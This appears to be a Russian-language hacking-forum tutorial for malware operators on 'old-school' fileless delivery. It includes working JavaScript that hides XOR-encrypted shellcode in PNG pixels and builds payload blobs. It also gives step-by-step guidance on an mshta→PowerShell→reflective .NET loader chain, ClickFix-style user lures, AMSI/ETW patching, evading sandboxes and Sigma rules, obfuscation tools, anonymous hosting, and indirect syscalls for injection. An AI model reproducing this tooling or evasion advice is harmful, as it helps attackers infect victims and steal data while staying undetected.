Статья Я здесь, но меня нет.. классический fileless старой школы, C#, убегаем от WinAPI, прячем системные вызовы

xleaknn

RAID-массив
Пользователь
Регистрация
14.11.2025
Сообщения
79
Реакции
93
Доброго вам вечера, уважаемые радиозрителя и телеслушатели. Материал на веб-статью(последующие части, как и обещал) я готовлю, просто от веба пока что перегорел, и нужно ненадолго переключиться.
Поддерживайте инициативу lisa99: человек подошел к своей идее с душой, вложил в нее время и силы, и да, многим верстка, наполнение, да хоть буквы в журнале могут не понравиться. Но это сделано с душой, и это здесь - самое главное: даже если вам что-то не нравится, поддержите человека, хотите критиковать - критикуйте без агрессии и по смыслу, и в дальнейшем с вашей поддержкой у человека появятся и силы, и ресурсы, и мотивация стать еще лучше.
1770283317958.png


Не будем задерживаться и перейдем к сути дела.

Оглавление:
1) Fileless malware и "бесфайловые" механизмы доставки, в чем конкретные преимущества и зачем?
2) Всего лишь .json, всего лишь картинка... стеганография, блобы, прочие методики сокрытия вредоносной активности
3) LoLBins, LoLBaS (PowerShell, etc) - как устроена загрузка?
4) Process Injection: C# и вселение зверьков в процессы
5) Интересные ресурсы для изучения

Fileless malware и "бесфайловые" механизмы доставки, в чем конкретные преимущества и зачем?
Как мы пришли к тому, к чему пришли? Наверное, первый логичный вопрос, который возникает при виде чего-либо для себя нового. Представим ситуацию: вы, уважаемый читатель, - стильный, модный, молодежный актор огромной кампании с участием инфостиллера. Из каждого утюга, даже угольного, течет ваш билд, у вас большая Command&Control система, давно разделегированная по нескольким доменам. Но у вашей темной жизни слишком много вмешивающихся: простые .exe давным-давно пачками щелкают малварь-аналитики, вновь закрипченный билд проживает недолго, приходится практически постоянно тратить время и ресурсы на обновление билдов, чтобы получать хотя бы какой-то отстук. И в голову закономерно придет вопрос: как сделать своего зверька куда более проходимым, незаметным и в каком-то роде даже "незримым"?
Итоговая логика не так уж и сложна. APT-группы "высокого эшалона" любят такой подход и гибриды с ним из-за того, что зверька становится сложнее "выловить на препарацию", а сигнатурный анализ и VT-подобные базы удается байпасснуть в их механике "известных семплов", антивири не ругаются на "знакомый ранее" крипт(или методику/файл) - пусть подход и довольно нестабилен в своей сути во многих сценариях, но имеет преимущества в виде незаметности; отдельно взятые кампании "более приземленных целей" любят подход за его проходимость и незатратность: не надо тратить часы на вариации одного и того же билда, искать не "фроднутые наглухо" методы защиты/крипта, привет вмпротекту, нуитке и прочим прелестям прежней жизни годов эдак 20-ых. Более того, многие сценарии позволяют и вовсе куда эффективнее играть на доверии потенциального "клиента" - один только выросший в целый пожар ClickFix в своих вариациях чего стоит. Ну а чего, нажми Win+R, потом Ctrl+V, - молодец, ты починил компьютер! Да и зачем играться часами в поисках нового "0/62", когда можно и вовсе сделать так, чтобы антивирь до пуска зверька в лицо его статическое и не повидал?
А говоря более упрощенно, такая повальная тенденция среди бесчисленного количества кампаний последних 2-3 лет обусловлена "эволюцией в ответ на эволюцию": с наступлением эпохи AI-бума и громаднейших датацентров, его питающих, создание новых правил для всяческих защитных систем все меньше полагается на руки одного-двух уставших специалистов по безопасности - давно налажен "конвейер", работающий на IoC(индикаторах компрометации) и миллионах станций, дружно подгружающих в облачко свои сомнительные файлики.
В рамках этого мануала я не буду плести словеса по древу и не буду размазывать тему на 100500 буков, но для более хорошего понимания того, что мы сейчас в целом делаем, мы выделим две цели для себя:
- Мы хотим быть довольно незаметными для средств защиты, AV и всякие нехорошие защитные штуковины не должны нас видеть/должны видеть смутно
- Мы хотим быть путанными и непонятными, чтобы ни поведенческий анализ, ни заскучавший админ не могли понять смысла происходящего как можно дольше.
Условно поделя методики анализа в рамках мануала на статический и поведенческий, мы можем сказать, что со статическим мы практически не столкнемся.
В рамках классического подхода - подхода "старой школы", мы для наглядности не будем реализовывать что-то "сложное" или слишком непонятное, а лишь пройдем через самую обычную цепочку LOLBaS, будем надеяться на Powershell(который до сих пор работает во многих ситуациях, где меры надзора за нашими действиями не слишком агрессивны) и применим простенькую стеганографию как одну из методик.
Всего лишь .json, всего лишь картинка... стеганография, блобы, прочие методики сокрытия вредоносной активности
Как бы понятно, чем всем так понравилась стеганография как одна из "стадий" протекающей паразитарной инфекции. Картинки, траст высокий, если не засовывать ничего в очевидные места, доставаемые exiftool за 2 минуты, - вряд ли кто-то менее чем за сутки(тем более без исходников) поймет принцип, по которому эта картинка может нанести какой-никакой, но вред. И в чем вообще ее участие в итоговой цепи.
Да и в случае чего админы, читающие выводы условного HTTP Debugger в группе с сисмонами и прочими чудесами, будут видеть рандомные вызовы, скачивание пикчи из-под какого-то CDN и ничего особо страшного, что так или иначе и от человеческих рук временно зверька спрячет.
Вы можете сами выбирать методы стеганографии, подход к этому делу у каждого свой. Этап в целом ориентирован только на вашу фантазию, и ничего сильно сУрьезного под собой не держит. Лично я предпочитаю мимикрировать под нечто потенциально безобидное, - например, типичные загрузки .png и условного "блоба" - цельного куска информации - в отдельных форматах с мимикрией под нечто легитимное и базовое для типичного вебсайт-трафика, например, .json.
За сим, не будем долго разглагольствовать и сразу перейдем к делу: реализуем довольно простой механизм стеганографии, который будет легок к пониманию даже тем, кто этой темы никогда не касался. И этот механизм - LSB(Single-Channel), он же у америкосов обзываемый fixed RGB steganography methodology. Из названия уже понятно, что у нас в типичном контексте RGB(Red-Green-Blue) будет являться подвижным только один конкретный "канал" - строка, определяющая "силу окраса" в одной конкретной парадигме. Например, в оттенках зеленого.
Подход прост: никаких рассчетов между несколькими шкалами, никаких сложностей в создании как кодировщика, так и "интерпретатора кодировки" - достаточно лишь, допустим, представить каждый пиксель носителем определенной единицы информации(например, 1 байт, каким путем мы и пойдем дальше) и сделать конвейер по созданию таких пикселей, потом - установить порядок чтения для правильной последующей расшифровки. Наиболее хорошо по моему опыту на такие цели идет формат .png, стоит немного заглянуть, что у этого формата под капотом.
PNG - Portable Network Graphics - формат, созданный для хранения растровых изображений, тобишь изображений, строящихся попиксельно. И этот же формат был создан вот специально для того, чтобы удобно интерпретироваться, хорошо сжиматься и практически не терять качество в абсолютно любых условиях, кои он только может встретить. В нем присутствует обязательное сжатие(zlib, который мы в итоге и применим), а сам он содержит внутри строгую структуру(иерархию) чанков, которая должна быть соблюдена: IHDR => (PLTE - если у нас есть, что там хранить) => IDAT (может быть несколько) => IEND. Такие модульность и устойчивость нам и на руку. IHDR - простыми словами Image Header, "чанк-заголовок", - обязателен и в нем лучше не ковыряться, изображение мы поломаем. А вот интересующий нас чанк - IDAT. Он и несет в себе "содержимое", в то время как IEND - лишь "чанк-заглушка", дающий понять, что все, это конец изображения. Скачаем дефолтный инструмент для форензики от сорц-пака Kali pngcheck и посмотрим на анатомию любого .png, у меня - картинка с SOC-аналитиком, когда его спросили, куда подевались все бекапы не на физе.
1770263735166.png


Видим то, о чем и говорили ранее, IHDR - "заголовок", сразу диктует нам, какое разрешение и что по типам самого .png. Помимо IDAT(такое кол-во свойственно пикчам высокого разрешения) видим еще и всякие необязательные чанки-метадату, вроде tEXt, чанка абсолютно бесполезного и несущего ток какие-то пометки.
1770263918670.png


Чанк IEND - как и разбирали ранее, лишь пустая заглушка, и своим наличием "завершает изображение".

Приступим к созданию примерного алгоритма:
  • IHDR("заглавие", ширина и высота картинки) - генерируем, подбираем искусственно уже после конвертации, когда мы уже примерно знаем, в какие пределы уложимся. Будем стараться "собраться в квадрат".
  • Бьем получившийся файл на байты, каждый байт пишем в отдельный пиксель с его информацией, само количество итоговых байтов считаем - это наше количество пикселей
  • Готовимся под будущий растровый формат чтения - слева направо, сверху вниз, "построчно"
  • Добавляем обязательный фильтр, сжимаем это месиво с божьей помощью(и помощью zlib) в формат валидного IDAT
  • Добавляем обязательную заглушку - IEND, она пуста.


Итоговый алгоритм ничуть не сложен, и получается приблизительно таким:

JavaScript:
const zlib = require('zlib'); ##обязательно берем, он нужен нам для формирования IDAT
const LEN_BYTES = 4; ##
const PNG_SIG = Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]);

function crc32(buf) { ##вычисляем CRC20 для валидации наших последующих чанков
  let c = 0xffffffff;
  const t = new Uint32Array(256); ##таблица для простоты вычисления
  for (let n = 0; n < 256; n++) {
    let k = n;
    for (let j = 0; j < 8; j++) k = (k & 1) ? (0xedb88320 ^ (k >>> 1)) : (k >>> 1);
    t[n] = k >>> 0;
  }
  for (let i = 0; i < buf.length; i++) c = t[(c ^ buf[i]) & 0xff] ^ (c >>> 8); ##вычисляем; CRC - чувствителен к чанкам так же, как хэши на VT к файлам: поменяй хоть что-то, и выход изменится, значит, чанк уже невалиден
  return (c ^ 0xffffffff) >>> 0;
}
function pngChunk(type, data) { ## формируем чанк, параметром тайп определяем тип чанка(IHDR, IEND и т.д.)
  const len = Buffer.alloc(4);
  len.writeUInt32BE(data.length, 0); ##юзаем big-endian, смотрим длину получившихся данных
  const chunk = Buffer.concat([Buffer.from(type, 'ascii'), data]);
  const crc = Buffer.alloc(4);
  crc.writeUInt32BE(crc32(chunk), 0); ## вызываем CRC20 для типа + данных(хотим создать чанк? вычисляем, обязательное условие для этой занудной штучки)
  return Buffer.concat([len, chunk, crc]); ## собираем чанк - это его параметры
}
function encodeToImage(payload, outPath) {
  const lenBuf = Buffer.alloc(LEN_BYTES); ##считаем объем полезной нагрузки, длину пихаем, что видно по нижнему UInt32LE, в литтл эндиан
  lenBuf.writeUInt32LE(payload.length, 0);
  const stream = Buffer.concat([lenBuf, payload]);
  const totalPixels = stream.length;
  const width = Math.ceil(Math.sqrt(totalPixels)); ##квадратный корень, простая математика, пытаемся сделать практически ровный квадрат на основе длины получившихся сегментов
  const height = Math.ceil(totalPixels / width);
  const rowLen = width * 4;
  const raw = Buffer.alloc(height * (1 + rowLen)); ## выделим буфер зная наши параметры, смотрим на это как на строки(слева направо, мы помним) и умножаем на получившуюся высоту, это наш буфер сырых данных
  let pos = 0;
  let idx = 0;
  for (let y = 0; y < height; y++) { ##заполняемся построчно, предопределив байт фильтра как нулевый
    raw[pos++] = 0;
    for (let x = 0; x < width; x++) {
      const byte = idx < stream.length ? stream[idx++] : 0x80; ##берем байты последовательно и кодируем в отдельные значения нашего грина - зеленого
      raw[pos++] = 0x80;
      raw[pos++] = byte; ##здесь вся магия, сюда мы суем байты
      raw[pos++] = 0x80;
      raw[pos++] = 255;
    }
  }
  const idat = zlib.deflateSync(raw, { level: 6 }); ##приводимся к валидности получившихся IDAT-данных, юзая zlib, как и в оригинале, не так ли? =)
  const ihdr = Buffer.alloc(13); ##строим "чанк-определитель" нашей пикче - IHDR, высота, ширина, прочие параметры - все идет сюда для валидности изображения
  ihdr.writeUInt32BE(width, 0);
  ihdr.writeUInt32BE(height, 4);
  ihdr[8] = 8; ##смотрим побайтово, 8 бит на канал = 1 байт на канал
  ihdr[9] = 6; ##настраиваемся на RGBA
  ihdr[10] = 0;
  ihdr[11] = 0;
  ihdr[12] = 0;
  return Buffer.concat([ ##формируем пикчанский
    PNG_SIG,
    pngChunk('IHDR', ihdr),
    pngChunk('IDAT', idat),
    pngChunk('IEND', Buffer.alloc(0)),
  ]);
}
function decodeGreen(imageBuffer) { ##делаем корову из фарша - идем задом наперед
  let off = 0;
  if (imageBuffer.length < 8 || imageBuffer.subarray(0, 8).compare(PNG_SIG) !== 0) return Buffer.alloc(0);
  off = 8;
  let width = 0, height = 0, bpp = 4;
  let idat = Buffer.alloc(0);
  while (off + 12 <= imageBuffer.length) {
    const len = imageBuffer.readUInt32BE(off);
    off += 4;
    const type = imageBuffer.toString('ascii', off, off + 4);
    off += 4;
    const data = imageBuffer.subarray(off, off + len);
    off += len + 4;
    if (type === 'IHDR') {
      width = data.readUInt32BE(0);
      height = data.readUInt32BE(4);
      bpp = data[9] === 6 ? 4 : 3;
    } else if (type === 'IDAT') {
      idat = Buffer.concat([idat, data]);
    } else if (type === 'IEND') break;
  }
  const inflated = zlib.inflateSync(idat);
  const out = [];
  let pos = 0;
  for (let y = 0; y < height; y++) {
    pos++;
    const rowLen = width * bpp;
    for (let x = 0; x < width; x++) out.push(inflated[pos + x * bpp + 1]);
    pos += rowLen;
  }
  if (out.length < LEN_BYTES) return Buffer.alloc(0);
  const len = Buffer.from(out.slice(0, LEN_BYTES)).readUInt32LE(0);
  if (len > out.length - LEN_BYTES || len > 10 * 1024 * 1024) return Buffer.alloc(0);
  return Buffer.from(out.slice(LEN_BYTES, LEN_BYTES + len));
}
module.exports = { encodeToImage, decodeGreen };



Маленький, аккуратненький, не столь сложный алгоритм - если покопать википедию и информацию о структуре PNG, вы быстро поймете, почему его так любят в кругу шифропанков и стеганографистов. Что еще потряснее, декриптнуть картинку конечно попытаться можно(стигсик - stegseek - поковыряйтесь, если интересно, TI уже давно научены работать с такими подходами, они, в отличие от использования сложных схем сокрытия с всяческими блокчейнами, не столько уж и новы), но это будет долго, а то и невозможно практически без "скрипта на прием" - если снизу на шеллкод еще что-то накинуть, например, XOR. И не выглядит так условно примитивно, как всякие схемы с комментариями и метаданными .jpg, как пример - вот формат таких схем инфильтрации/эксфильтрации, удобных, но не таких надежных, где все вылетает с первого прогона по exiftool:
1770267759230.png


Перейдем к оставшейся части стеганографиста в кармане. В формате нашего "показательного образца" не буду оригинальничать со всякими AES, схемой "все в разных картинках" и так далее, соберем простой блоб с URL-адресом картинки и прочитанным singlefile-файлом .exe - форматом сборки на C#, не требующим установки доп.зависимостей(те самые .dll, которые качать все разом - потратить много времени и возможно даже выдать себя). Тут алгоритм довольно простой, и можно представить его в примитивной форме следующим образом:

JavaScript:
const fs = require('fs');
const path = require('path');
const stegoPath = path.join(__dirname, 'stego.js');
const { encodeToImage } = require(stegoPath);

const XOR_KEY = Buffer.from([0xa7]);

function xorEncrypt(data, key) {
  if (!key || key.length === 0) return data;
  const out = Buffer.alloc(data.length);
  for (let i = 0; i < data.length; i++)
    out[i] = data[i] ^ key[i % key.length];
  return out;
}

function run() {
  const args = process.argv.slice(2);
  if (args.length < 4) {
    process.exit(1);
  }

  const [shellcodePath, exePath, imageOutPath, imageUrl] = args;
  const blobOutPath = path.join(path.dirname(imageOutPath), 'payload.blob');

  if (!fs.existsSync(shellcodePath) || !fs.existsSync(exePath)) {
    process.exit(1);
  }

  if (!imageUrl.startsWith('http://') && !imageUrl.startsWith('https://')) {
    process.exit(1);
  }

  const rawShellcode = fs.readFileSync(shellcodePath);
  const payload = xorEncrypt(rawShellcode, XOR_KEY);

  const imageWithStego = encodeToImage(payload);
  fs.writeFileSync(imageOutPath, imageWithStego);

  const exeBuffer = fs.readFileSync(exePath);
  const exeLenBuf = Buffer.alloc(4);
  exeLenBuf.writeUInt32LE(exeBuffer.length, 0);
  const blockParts = [exeLenBuf, exeBuffer];

  const encBlock = xorEncrypt(Buffer.concat(blockParts), XOR_KEY);

  const urlBuffer = Buffer.from(imageUrl, 'utf8');
  const keyByte = XOR_KEY[0];
  const blob = Buffer.concat([
    Buffer.from([keyByte]),
    Buffer.alloc(4),
    encBlock,
    Buffer.alloc(4),
    urlBuffer,
  ]);
  blob.writeUInt32LE(encBlock.length, 1);
  blob.writeUInt32LE(urlBuffer.length, 5 + encBlock.length);

  fs.writeFileSync(blobOutPath, blob);
}

try {
  run();
} catch {
  process.exit(1);
}


Представлен в примитивном виде, с однобайтовым XOR-закриптом. Читаем .exe, криптуем, откладываем; смотрим шеллкод - криптуем - суем под картинку. Изменить можете под свои нужды и свой креатив; скажу лишь, что такой стеганографии достаточно, а что уж вы хотите делать с шеллкодом - дело сугубо ваше, так сказать - не претендую
Получившаяся стеганография кушает шеллкод(в сыром виде, криптует - сама), саму single-file сборку от дотнета, ссылку(с вашим доменом и вашим форматом запроса к картинке) и названием будущей картинки. Запустим да сделаем свой первый блоб, классика жанра, с калькулятором:
1770269531565.png



Да, все, на месте. Собрали блоб, забрали картиночку, все тащим на наш хостинг: покупаем впску за хорошую крипту(ETH или XMR, у каждого своя приватность), ставим домен с CDN, подгружаем все нужное, получаем вот такой вот совсем незловредный калькулятор(айди у пэйлодов потому, что у моей вариации "сервера" есть целая куча возможных полезных нагрузок, и спускать можно разные):
1770269701952.png


Красиво? Да. Понятно левым глазам? Вовсе нет. Оттого, идем к следующей части нашего мануала. Выглядит тоже довольно обыденно и неинтересно(если убрать GET-параметры с айдишкой - тем более), ленивый админ может и зазеваться, и в один из пунктов IoC это даже не внести.
1770272378522.png


LoLBins, LoLBaS (PowerShell, etc) - как устроена загрузка?
С современными тенденциями все больше первичный "тыц" происходит с подачи самого пользователя компьютера. Упор уходит на социальную инженерию, и в ней довольно много трендов: спирфишинг(прим. автора - вложения в имейлы, авось да скачают), новые/хорошо забытые старые фичи(VSCode и его Task Hijacking - угон запланированных "таск", задачек, которые можно задать при открытии условного "репозитория" на локальной машине через .vscode и конфиг в джейсоне), довольно молодые подходы, ориентированные на социальную инженерию целиком(ClickFix во всех своих вариациях, в представлении не нуждается).
Участились ли атаки в fileless-подходе к задаче, или, быть может, в подходе гибридном(на диске что-то да остается, но уже "в конце" и для стабильного персиста)? Да, участились. Но и часты стали атаки, которые характеризуются отсутствием сильной акцентуации на задаче длительного пребывания и часто проходят от начала и до конца в формате fileless - таковыми, например, стали многие модели современных инфостиллеров, доставляемых через современные тактики вроде вариаций ClickFix-атак.

Большинство fileless-атак(наверное, даже подавляющее) так или иначе проходят через Powershell как через одну из стадий "развертки" и затрагивают как минимум несколько LOLBinов. Да, fileless-подход возможен через многие реализации, один из знакомых, наверное, многим пример - это тактики вроде тех, что заточены в классическую пирамидку - Pyramid, тыц. Классический Blindspot-подход, можно держаться в памяти, зацепившись за интерпретатором, и сильно не следить всевозможными артефактами. Но даже в таких ситуациях рано или поздно вы будете вынуждены притронуться либо к пауршеллу(в процессе доставки), либо - к каким-либо другим, может, менееизвестным лолбинам(об этом - позже).

И тут напрашивается следующий вывод: успех кампании на немалую часть зависит от непосредственно той самой "цепочки доставки". Реализации этих цепочек встречаются совершенно разные: наибольшая частота - это 1 лолбин, ставший посредником(он же - прокси), далее - уход в пауршелл. Порой, для намеренного усложнения как сбора индикаторов компрометации, так и детектирования, применяются куда более сложные цепи, идущие через несколько лолбинов/несколько раз через один и тот же; в сценариях, применимых к термину "спирфишинг", доминирует 1 входной "трюк"(как с .lnk) или конкретный эксплоит, после чего для дополнительного усложнения цепи в ход идут лолбины. Посмотрим примеры такой инфографики(целиком на них ориентироваться я крайне не рекомендую: многие детали упускаются или намеренно замалчиваются, но суть чаще всего остается понятна):
Тыц1(APT36)

1770282959001.png



Тыц2(расшейр Remcos, в последнее время в ажиотаже):

1770283186688.png



Заметим, что обе эти компании активно использовали характерный подход к fileless: Powershell, начальный доступ через лолбины/известные фичи системы, .NET-загрузка в рефлективном режиме. Эту схему и можно назвать "файллесом старой школы": активное использование .NET в фиче рефлективной загрузки, Powershell-скриптинга и промежуточных прокси-сервисов(например, mshta.exe) дает свои результаты. В своем кругу это определение неофициально приобрело "второе лицо": LOLBins Chaining(как с впнами-мультихопами, идем через несколько точек). Мы будем освещать наиболее "классический" киллчейн: mshta ==> powershell ==> рефлективная загрузка .NET.
.hta дает нам и выбор в то же время: мы можем как строить чейны с подкидышами(например, по почте и с использованием тех же .lnk, чтобы ввести в заблуждение иконками), так и использовать mshta в удаленном контексте - кликфиксы, таски визуал студио, любые powershell-ситуации в целом. Я соберу минимальный пример такого загрузчика в "удаленном формате" - юзеру нужно вкинуть mshta "our poisoned link":
1770286299401.png

За 5 минут можно накидать такой вот образец, конечно же, далеко не скрытный. Выглядит несложно, да и гайдов на такие конструкции довольно много. Специально для лучшего понимания демонстрирую необфусцированный вариант. Классический JScript, объяснять толком и нечего: определяем baseURL(нашу ссылку), реплейсим в ней эндпоинт нашего .hta на эндпоинт выдачи .ps1-загрузчика, запускаем на машине довольно обыденную для такого киллчейна IEX после загрузки скрипта. В большинстве реализаций можно наблюдать использование связки iex + iwr напрямую. Скачали да запустили. Но так в "дикой природе" не делается и в ход должна идти самая разная обфускация, как и методики самого вызова могут розниться. Столь топорно кидать ничего не стоит.
Куда больше важных нюансов есть по поводу PowerShell, и тут действительно есть, о чем задуматься:

- Действия "вредоносного" характера идут чередой, друг за другом? Киллчейн может быть прерван в самом своем начале - произойдет корреляция. Если идти знакомым многим поведенческим анализаторам путем "родился - качает блобы/архивы - скачал пикчу - что-то рефлективно запустил", детект неизбежен. В рядах полномасштабных кампаний, где есть сходные цепочки между первичным доступом и исполнением полезной нагрузки, правилом хорошего тона является создание scheduled-task(задачи с расписанием), в некоторых случаях их несколько: от формата абсолютного fileless уходят к гибридному исполнению, оставляя "временные скрипты" и давая им запланированную задачу. Часто именно на таких скриптах лежат ключевые задачи: патч антималвар-интерфейса(AMSI) и сборщика эвентов винды(ETW), что затрудняет дальнейший детект, рефлективная загрузка сборок в память, распаковку билдов/инжекторов прочего софта с диска и временных директорий НЕ оставляют: скантайм должен быть "минимален" и статика не должна касаться рабочих инструментов. Реже на данный момент можно встретить хорошие вариации с мусорным кодом и искусственными delay(задержки, они же - слипы), но сейчас это практически так не работает.
- Действия вроде тушения AMSI/ETW стоит воспроизводить на этапе PowerShell/исполнения от LOLBin только в случаях, если вы уверены в своем решении. Анализ всего, связанного с PowerShell в этом плане(патчи), немало продвинулся: поведенческий детект можно получить абсолютно в легкую.
- Использование дополнительных LOLBins в качестве прокси-процессов только приветствуется. Чем сильнее "рвется связь" между "изначальным" mshta.exe и финальной .NET-сборкой, тем дальше вы от детекта.
- Стандартная загрузка через iwr/дефолтный webclient - гиблое дело. Старайтесь синонимизировать, уйти как можно дальше от типичных вызовов, встречаемых как поведенческая черта у очень многих кампаний.
- Сам по себе System.Reflection.Assembly громкостью своей невероятно силен. Его нужно скрывать как минимум разрывом связи с mshta(через задачи по расписанию), в идеале его следует заменить. Однако, паттерн все еще работает против многих антивирей при грамотной обфускации всего этого действа; хорошо защищенные системы, однако, с таким "сюрпризом" внутрь не пропустят.

В рамках реализации лишь образца(mshta ==> powershell ==> .NET) я имею цель лишь показать вам, что сбор этих цепочек чем-то похож на конструктор. Нет смысла выливать одну сборку и жестоко ее абузить: этот киллчейн с активным ворохом событий вокруг него быстро станет неактуален. Именно потому из раза в раз в кампаниях гремят уже совершенно новые лолбины и новые цепочки всецело. Потому, крайне советую ознакомиться с трудами xrahitel и прочих исследователей, которые внесли, определенно, довольно весомый вклад в это комьюнити: на примерах их PoC можно понять, как играть в наперстки с системой и выводить юзеров на столь желанный клик или копипаст наиболее эффективно(а это не только цепочки с mshta + .lnk). Однако, стоит взглянуть на самый "простой" пример дальнейшего продвижения от точки с PowerShell в этом киллчейне:
1770297006498.png

Опять же, видно, что повторить такие цепочки сможет практически каждый, и большинство моих читателей, вероятно, и получше меня во многих нюансах знают, как это делается
Да и составить свои не столь сложно.. примеров и гайдов огромная куча, в том числе благодаря таким авторам, как xrahitel.

Существует и пара интересных проектов, которые могут помочь в работе с PowerShell:
1) Invoke-Junkpile, тыц. При должной доработке(а доработать там не так много) - весьма полезный инструмент, способный заполонить ваш powershell поведенческим мусором и левым, бесполезным кодом. В дефолтной версии не так уж полезен, как может казаться: не делающими абсолютно ничего функциями и довольно топорной/не всегда работающей обработкой сильно не помочь. Однако, проект любопытен как минимум как сурс - дробит на части среди мусорного кода основную логическую базу, а потом это собирается "в кучу".
1770298712532.png
2) PowerCrypt, тыц. Один из лучших, на мой взгляд, инструментов. Добавляет самозашифровывание/саморасшифровывание, кучу мусорного кода и много других полезных плюшек. Удивлением является его малая популярность: проект действительно неплох. Пример его работы вы можете увидеть ниже.
1770298043152.png

Шумит очень хорошо, на моей практике буквально полгода назад даже спасал билды.

Для изучения и глубокого понимания так же советую ознакомиться с основной матчастью по поведенческому анализу. Отличным ресурсом является, как ни странно, VirusTotal: если на нем экспериментировать(не дропая критические, уже "рабочие" билды), можно очень многое понять о том, как работает поведенческий анализ всецело. Как совет лично от себя(сугубо свой опыт), могу сказать так: хотите разобраться, как что-то прятать? Пробуйте разные "образцовые" вариации, разные форматы, разные методы обфускации, разные методы "загрязнения" и зашвыривайте внутрь. Ждите анализа от песочницы, вуаля, вы получаете подробный отчет, так еще и с техническими деталями. Закинем внутрь дефолтнейшие iwr+iex, распак и прямой System.Reflection.Assembly. Получаем следующую картину:
1770304395163.png

Особенный интерес представляют три конкретных графы итогового поведенческого анализа в песочницах: Detections(вердикты), MITRE Tactics(в представлении не нуждаются), Sigma Roules - о них тоже поговорим. Опытные малвардевы прекрасно понимают, что это такое и что все это значит, но для менее опытных читателей стоит привести терминологию:
- Detections - детект, то, в чем песочница уверена. В основном формируется как суммаризированный результат из нескольких "подходов" - наличие нарушенных желтых/красных сигма-правил, обилие действий в системе(многие из которых могут быть сочтены вредоносными), наличие уверенности в каком-то MITRE-векторе, любая "сильная" уверенность.
- MITRE Tactics - детекты, подпадающие под дефолтную классификацию фреймворка MITRE. Короче говоря, это детекты, семантически(по смыслу) совпадающие с матрицей митры в одном или нескольких аспектах(тактиках/техниках). Техники - составляющая часть тактик.
- Детекты по сигма-рулам. Самое интересное, на мой взгляд, - пример видно на скрине. TI и соки - те еще читеры, и у них есть своя система оценки и анализа, которая в целом схожа с механикой нашего nuclei - существуют публичные, краудсорсовые(берущиеся "из толпы" - от людей) темплейты, построенные на различных индикаторах компрометации и post-mortem логах. И "темплейтами" являются как раз те самые "сигма-рулы" - собранные на отдельных индикаторах YAML-темплейты, которые нужны для работы с анализом угроз в SIEM/EDR.
Именно экспериментируя и читая сигма-рулы, можно на практике и с нуля понять, как примерно работают обходы на довольно большом количестве нужных ситуаций(например, рефлективная загрузка .NET-сборок или подъем файлов из веба). Полезными являются и тестирование на виртуалках, и(иногда, если хочется опять же понять, как выстраивается реакция и что считается зловредным) - AnyRun.

Ну а я немного считерю и включу в самую дефолтную цепочку для демонстрации красивых цифр свой способ "размыкания поведенческой цепи". О подобных вещах позже я буду писать в формате "неоплачиваемых статей" - кратких очерков с техниками и применимыми ресурсами.
1770304100090.png


В чем итоговые выводы? Ищем, щупаем. Не стесняемся чекать документации Microsoft, пытать ИИ, смотреть видосы и PoC от всех авторов подряд, если есть хоть мало-мальское подтверждение тому, что там говорится. Не стесняемся листать репорты и черпать из них оригинальные идеи для последующей реализации: да, повторять точь-в-точь - глупо, но еще достаточно долгое время лолбины(новые), отгремевшие в крупном инциденте, будут "жить" в формате перестановок.
Меньше чистого повершелла(стараться), больше - делегируем на все "промежуточные" процессы, через которые и пытаемся дотянуться.
А теперь, реализуем примерную .NET-сборку, которой собственно и будет осуществляться "завершение" бесфайловой цепочки доставки зверька.

Process Injection: C# и вселение зверьков в процессы
Если тесно ознакомиться с вышеупомянутыми репортами и райтапами, можно заметить, что о финальной стадии - собственно, инъекции шеллкода/прочих методах запуска итоговой малвари, - авторы многих продуктов задумываются неохотно.
С таргетированными атаками дела обстоят иначе: многие около-APT и APT-кампании подходят к вопросу куда оригинальнее. Вот и мы в этот раз сделаем так же, оставаясь на среде, которую выбрали в начале - на дотнете.
Реализуем не слишком сложный, но довольно хороший формат .NET-модуля.
Первым делом приходят на ум всевозможные инструменты вроде именитой серии SysWhispers, которые отслужили уже немалую службу и продолжают служить пентестерам по сей день: SysWhispers3 до сих пор вполне себе эффективный и используемый инструмент. Direct Syscalls был эффективной техникой, однако, говоря кратко, "уже не торт" - многие продукты "высокого уровня" уже давно научились отличать "нормальные" системные вызовы от тех, что идут минуя легитимный NTDLL. Старейший в серии "калиток" Hell's Gate, немало базированный именно на прямых системных вызовах, тоже ощутимо подсдал свои позиции следом за прародителем.
А потому, пойдем на более "современную" технологию Indirect Syscalls. Не будем в рамках простого поэтапного мануальчика углубляться в терминологию и всю химию процесса, я опишу это позже в отдельных статьях с разборами разных техник. Просто дадим определение этой технологии.
Indirect Syscalls - "непрямые системные вызовы", техника, обусловленная исполнением инструкций не в памяти атакующего процесса, а в адресном пространстве легитимника ntdll. В своем роде это "прыжок" до нужного места - до фрагмента кода с syscall; ret. Вот такая есть картинка, довольно хороша описывающая происходящее:
1770379737719.png

Да, все не так уж и сложно, как может подумать немалая часть читающих. Рассмотрим картинку: мы видим интересные инструкции между Native API и мальваром. И объясняются они не так уж и сложно:
- ntoskrnl.exe, ядро, отвечающее за системный вызов KiSystemService(видим подобную структуру "за спиной" Native API), но перед ним проц аппаратно перезаписывает регистр RCX, чтобы сохранить адрес возврата для пользовательского режима. Пользовательскому режиму свойственна запись первого аргумента нативного API(куда мы и хотим "прыгнуть") именно в RCX. Потому перед системным вызовом обязательно выполняем инструкцию mov r10, rcx - так мы "скопируем" аргументы в нужный(зарезервированный под это) регистр R10. Проще говоря, "ниже Native API" RCX наш не в почете. До него - RCX, после - R10(для удобного чтения нашему KiSystemCall64 - смотрим на картинку).
- Мы же не просто так хотим докопаться до ядра? Правильно, не просто так. Мы хотим совершить конкретные системные вызовы. И вот здесь мне больше всего нравится аналогия с большим домом, где мы на месте консьержа знаем жильцов по номерам квартир. Номера квартир в нашем контексте - это SSN, System Service Number. Это 32-битная система идентификаторов нативного API в ядре. Загружаем в этот параметр идентификатор нужного нам системного вызова, сохраняем в EAX.
